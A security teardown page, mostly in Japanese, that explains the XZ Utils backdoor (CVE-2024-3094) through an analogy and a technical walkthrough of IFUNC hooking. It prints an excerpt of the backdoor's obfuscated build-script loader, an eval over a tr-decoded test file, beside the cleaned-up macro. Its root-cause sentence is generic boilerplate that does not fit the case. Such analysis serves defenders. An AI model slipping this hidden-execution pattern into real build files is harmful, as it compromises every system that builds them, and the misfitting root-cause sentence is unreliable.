flawopen.com/Teardowns/cve-2024-3094-xz-utils-backdoor
CVE-2024-3094(XZ Utils バックドア)の技術的ソースコード解説:liblzmaのIFUNCリゾルバ改ざんによりOpenSSH認証が密かに無力化された詳細手口。
ある銀行が標準的な配管パイプを使って金庫を作ったとします。公式の設計図は極めて安全です。しかし、出荷用の木箱を梱包する作業員が、パイプの内側に目に見えない極細の電子ワイヤーを仕込みました。そのパイプがLinux環境で組み立てられると、ワイヤーは銀行の正面玄関の電子錠(OpenSSH)に密かに接続され、作業員は秘密のリモコンでいつでも金庫を開けられるようになります。CVE-2024-3094では、リリース用tarballのビルドスクリプト内にバックドアが巧妙に隠蔽され、SSH経由で未認証rootアクセスを可能にしていました。
Open Source SystemsCWE-SecurityDefense-in-Depth根本原因は、オープンソースシステムにおける未検証の境界パラメータに起因し、状態の非同期化とセキュリティ制御の迂回を可能にします。
Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.
During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.
The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.
When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
eval $(tr " \-_" " _\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])